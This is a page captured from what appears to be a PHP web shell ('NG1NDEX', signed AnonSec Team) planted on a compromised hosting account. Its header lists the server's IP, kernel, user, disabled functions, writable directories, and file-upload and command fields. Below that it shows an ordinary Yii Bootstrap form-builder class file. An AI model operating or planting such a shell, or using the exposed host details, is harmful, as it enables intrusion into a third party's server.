NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.137.168.13
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/backup/protected/extensions/bootstrap/form/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/backup/protected/extensions/bootstrap/form/TbForm.php
<?php
/**
 * TbForm class file.
 * @author Christoffer Niska <ChristofferNiska@gmail.com>
 * @copyright Copyright &copy; Christoffer Niska 2012-
 * @license http://www.opensource.org/licenses/bsd-license.php New BSD License
 * @package bootstrap.form
 * @since 2.0.0
 */

Yii::import('bootstrap.form.*');

/**
 * Bootstrap form builder.
 */
class TbForm extends CForm {
	/**
	 * @var string the name of the class for representing a form input element.
	 */
    public $buttonElementClass = 'TbFormButtonElement';
	/**
	 * @var string the name of the class for representing a form button element.
	 */
    public $inputElementClass = 'TbFormInputElement';
	/**
	 * @var array the configuration used to create the active form widget.
	 */
    public $activeForm = array('class'=>'bootstrap.widgets.TbActiveForm');

	/**
	 * Renders a single element which could be an input element, a sub-form, a string, or a button.
	 * @param mixed $element the form element to be rendered
	 * @return string the rendering result
	 */
    public function renderElement($element)
    {
        if(is_string($element))
        {
            if(($e=$this[$element])===null && ($e=$this->getButtons()->itemAt($element))===null)
                return $element;
            else
                $element=$e;
        }
        if($element->getVisible())
        {
            if($element instanceof CFormInputElement)
            {
                if($element->type==='hidden')
                    return '<div class="hidden">'.$element->render().'</div>';
            }

            return $element->render();
        }
        return '';
    }

	/**
	 * Renders the {@link buttons} in this form.
	 * @return string the rendering result
	 */
    public function renderButtons()
    {
        $output='';
        foreach($this->getButtons() as $button)
            $output.=$this->renderElement($button);
        return $output!=='' ? '<div class="form-actions">'.$output.'</div>' : '';
    }
}

Anon7 - 2022
AnonSec Team